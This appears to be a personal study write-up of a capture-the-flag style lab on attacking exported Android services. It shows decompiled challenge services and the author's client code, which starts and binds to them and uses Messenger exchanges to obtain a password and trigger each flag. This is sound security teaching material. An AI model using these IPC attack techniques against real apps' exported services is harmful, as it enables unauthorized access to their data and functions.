Android Services

Exported services are another attack surface in android.

used for long running bakcground tasks.

e.g. Media player in background.

Note:

  • Activity: Runs in the foreground and renders the UI

  • Broadcast Receiver: Runs in the background to execute a minimal task

  • Service: Executes long running tasks in the background

Services are also defined in manifest file. But that services can be protected with specific permission means apps with that permission can only call that service.

<service android:name="io.example.services.MyService"
 android:enabled="true" android:exported="true">
    <intent-filter>
        <action android:name="io.example.START"/>
    </intent-filter>
</service>
<service android:name=".MyJobService" 
 android:permission="android.permission.BIND_JOB_SERVICE"
 android:exported="true">
 </service>

android.permission.BIND_JOB_SERVICEthis permission is only available to system only.

Types of services:

  1. Bindable & non-bindable services

  2. LocalBinder

  3. Message Handler

  4. AIDL definitions

Starting service is similar to sending activity intent or broadcast. We just use startService()or bindService() funcitonto start it.

((Button) findViewById(R.id.button_1)).setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Intent intent = new Intent();
                intent.setFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
                intent.setAction("io.hextree.services.START_FLAG24_SERVICE");
                intent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.services.Flag24Service");
                startService(intent);
            }
        });

Receiving app handles our intent with onStart()function

public int onStartCommand(Intent intent, int i, int i2) {
        Log.i("Flag24Service", Utils.dumpIntent(this, intent));
        if (intent.getAction().equals("io.hextree.services.START_FLAG24_SERVICE")) {
            success();
        }
        return super.onStartCommand(intent, i, i2);
    }

Since latest release for us able to start a service from a target app. The target app must be running in background.

Also since android 11, we need to specifically define in our manifest file that which app's service we want to interact with.

    <queries>
        <package android:name="io.hextree.attacksurface"/>
    </queries>

Note: similar to broadcasts, services can't start an activity if the target app is in background. The target app must be in use only then an activity of that app can be launched. It's ui thing so that user don't get disturebed.

There is generally bindable service which is used. So an application can bind with target seervice for exchanging data with that app.

in that bindservice function is used. It is facilitated by android IPC interface. In that function onBindbecomes interesting to us.

After identifying an exposed Service in the android manifest, the next step should be looking at the onBind() method to determine if the service can be bound to or not.

When the onBind() method returns nothing or even throws an exception, then the service definetly cannot be bount to.

@Override // android.app.Service
public IBinder onBind(Intent intent) {
    throw new UnsupportedOperationException("Not yet implemented");
}

There are also services where the onBind() method returns something, but it's only an internally bindable service, thus from our perspective it's a non-bindable service. These kind of services can usually be recognized by naming convention of "LocalBinder".

If app's service can only be bound to from inside the sme app. As an attacker this is essentially non-bindable service. i.e. LocalBinder.

Messenger

This is a wrapper around binder and high level which binds to a service and send and recive message to and from a target service respectively. More: https://developer.android.com/reference/android/os/Messenger

package com.example.services;

import android.app.Service;
import android.content.Intent;
import android.os.*;
import android.util.Log;
import java.util.UUID;

public class Flag26Service extends Service {
    // Constant for message handling
    public static final int MSG_SUCCESS = 42;

    // Generates a unique secret key for the service instance
    public static String secret = UUID.randomUUID().toString();

    // Messenger for handling incoming messages
    final Messenger messenger = new Messenger(new IncomingHandler(Looper.getMainLooper()));

    /**
     * Handler to process incoming messages from clients.
     */
    class IncomingHandler extends Handler {
        String echo; // Placeholder variable, currently unused

        // Constructor initializing the handler with a specified looper
        IncomingHandler(Looper looper) {
            super(looper);
            this.echo = ""; // Initialize echo
        }

        @Override
        public void handleMessage(Message message) {
            Log.i("Flag26Service", "Received message: " + message.what);

            // Process only specific message types
            if (message.what == MSG_SUCCESS) {
                Flag26Service.this.success(this.echo);
            } else {
                super.handleMessage(message);
            }
        }
    }

    @Override
    public IBinder onBind(Intent intent) {
        Log.i("Flag26Service", "Service bound with intent: " + Utils.dumpIntent(this, intent));
        return this.messenger.getBinder(); // Return the Messenger's binder for client communication
    }

    /**
     * Placeholder method for success handling.
     * The original code called `success()`, but the method was missing.
     */
    private void success(String message) {
        Log.i("Flag26Service", "Success method called with message: " + message);
        // TODO: Implement logic for handling success cases
    }
}

new IncomingHandler(Looper.getMainLooper())

  • IncomingHandler is a custom class extending Handler.

  • Looper.getMainLooper() ensures that the handler runs on the main thread (UI thread) instead of a background thread.

  • This is important because services do not have their own UI thread by default, so handlers must explicitly specify a looper.

new Messenger(...)

  • Messenger wraps the Handler, allowing it to receive Message objects from other components (such as Activities, Services, or even separate apps).

  • It provides a safe way to handle IPC (Inter-Process Communication) without directly dealing with AIDL (Android Interface Definition Language).

handleMessagefunction is overrided to handle incoming message logic from our app.

this message inside handleMessage can contain all kind of data an intent can support.

onBindfunction returns an object of type Messenger which can be binded by other apps.

To interact with boundable service we will use bindService function : https://developer.android.com/reference/android/content/Context#bindService(android.content.Intent,%20android.content.ServiceConnection,%20int)

public class MainActivityHextree extends AppCompatActivity {

    private  class IncomingHandler extends Handler{
        IncomingHandler() { super(Looper.getMainLooper());}

        @Override
        public  void handleMessage(Message msg) {
            Log.d("reply: ", String.valueOf(msg)); //handle reply message from service
        }
    }

    private final Messenger clientReply = new Messenger(new IncomingHandler());
    private final ServiceConnection connection = new ServiceConnection() {
        @Override
        public void onServiceConnected(ComponentName name, IBinder service) {

            Messenger messenger = new Messenger(service);
            Message msg = Message.obtain(null, 42);
            msg.replyTo = clientReply;
            try{
                messenger.send(msg);
            } catch (RemoteException e){
                throw new RuntimeException(e);
            }

        }

        @Override
        public void onServiceDisconnected(ComponentName name) {

        }
    };

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        EdgeToEdge.enable(this);
        setContentView(R.layout.activity_main);


        ((Button) findViewById(R.id.button_1)).setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Intent intent = new Intent();
                intent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.services.Flag26Service");
                bindService(intent, connection, Context.BIND_AUTO_CREATE);
            }
        });



    }

e.g. 2 in particular condition this service will run success function

public class Flag26Service extends Service {
    public static final int MSG_SUCCESS = 42;
    public static String secret = UUID.randomUUID().toString();
    final Messenger messenger = new Messenger(new IncomingHandler(Looper.getMainLooper()));

    class IncomingHandler extends Handler {
        String echo;

        IncomingHandler(Looper looper) {
            super(looper);
            this.echo = "";
        }

        @Override // android.os.Handler
        public void handleMessage(Message message) {
            Log.i("Flag26Service", "handleMessage(" + message.what + ")");
            if (message.what == 42) {
                Flag26Service.this.success(this.echo);
            } else {
                super.handleMessage(message);
            }
        }
    }

    @Override // android.app.Service
    public IBinder onBind(Intent intent) {
        Log.i("Flag26Service", Utils.dumpIntent(this, intent));
        return this.messenger.getBinder();
    }

    /* JADX INFO: Access modifiers changed from: private */
    public void success(String str) {
        Intent intent = new Intent(this, (Class<?>) Flag26Activity.class);
        intent.putExtra("secret", secret);
        intent.putExtra("what", 42);
        intent.addFlags(268468224);
        intent.putExtra("hideIntent", true);
        startActivity(intent);
    }
}

for this to solve we need to bind to service and use messenger to send mutiple message back and forth.

public class MainActivityHextree extends AppCompatActivity {

    private String password = "";
    private Messenger boundMessenger; // Store service Messenger

    private class IncomingHandler extends Handler {
        IncomingHandler() {
            super(Looper.getMainLooper());
        }

        @Override
        public void handleMessage(Message msg) {
            Bundle data = msg.getData();
            String receivedPassword = data.getString("password");

            if (receivedPassword != null) {

                Log.d("setting password:",receivedPassword );
                password = receivedPassword;
                //Log.d("reply", "Received Password: " + password);

                // Now send the second message with the password
                sendPasswordToService();
            }

            for (String key : data.keySet()) {
                Log.d("IncomingHandler", "Key: " + key + ", Value: " + data.get(key));
            }
        }
    }

    private final Messenger clientReply = new Messenger(new IncomingHandler());

    private final ServiceConnection connection = new ServiceConnection() {
        @Override
        public void onServiceConnected(ComponentName name, IBinder service) {
            boundMessenger = new Messenger(service); // Store Messenger for reuse
            setEcho(); //set echo
            requestPasswordFromService(); // First, request the password
        }

        @Override
        public void onServiceDisconnected(ComponentName name) {
            boundMessenger = null;
        }
    };

    private void requestPasswordFromService() {
        if (boundMessenger == null) return;

        Message msg = Message.obtain(null, 2);
        Bundle bundle = new Bundle();
        bundle.putString("echo", "give flag");
        msg.obj=bundle;
        msg.replyTo = clientReply;

        try {
            boundMessenger.send(msg);
        } catch (RemoteException e) {
            e.printStackTrace();
        }
    }

    private void setEcho() {
        if (boundMessenger == null ) return;

        Log.d("setting echo", "test");
        Message msg = Message.obtain(null, 1);
        Bundle bundle = new Bundle();
        bundle.putString("echo", "give flag");
        //bundle.putString("password", password);
        msg.setData(bundle);
        msg.replyTo = clientReply;

        try {
            boundMessenger.send(msg);
        } catch (RemoteException e) {
            e.printStackTrace();
        }
    }

    private void sendPasswordToService() {
        if (boundMessenger == null || password.isEmpty()) return;

        Log.d("asking flag,with pass", password);
        Message msg = Message.obtain(null, 3);
        Bundle bundle = new Bundle();
        bundle.putString("echo", "give flag");
        bundle.putString("password", password);
        msg.setData(bundle);
        msg.replyTo = clientReply;

        try {
            boundMessenger.send(msg);
        } catch (RemoteException e) {
            e.printStackTrace();
        }
    }

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        EdgeToEdge.enable(this);
        setContentView(R.layout.activity_main);

        ((Button) findViewById(R.id.button_1)).setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Intent intent = new Intent();
                intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.services.Flag27Service");
                bindService(intent, connection, Context.BIND_AUTO_CREATE);
            }
        });
    }
}
  1. using our button click we use bindService to bind to service.

  2. on binding we and service connected we call, setEcho, requestpassword. when password is recived we send that password to service.

Last updated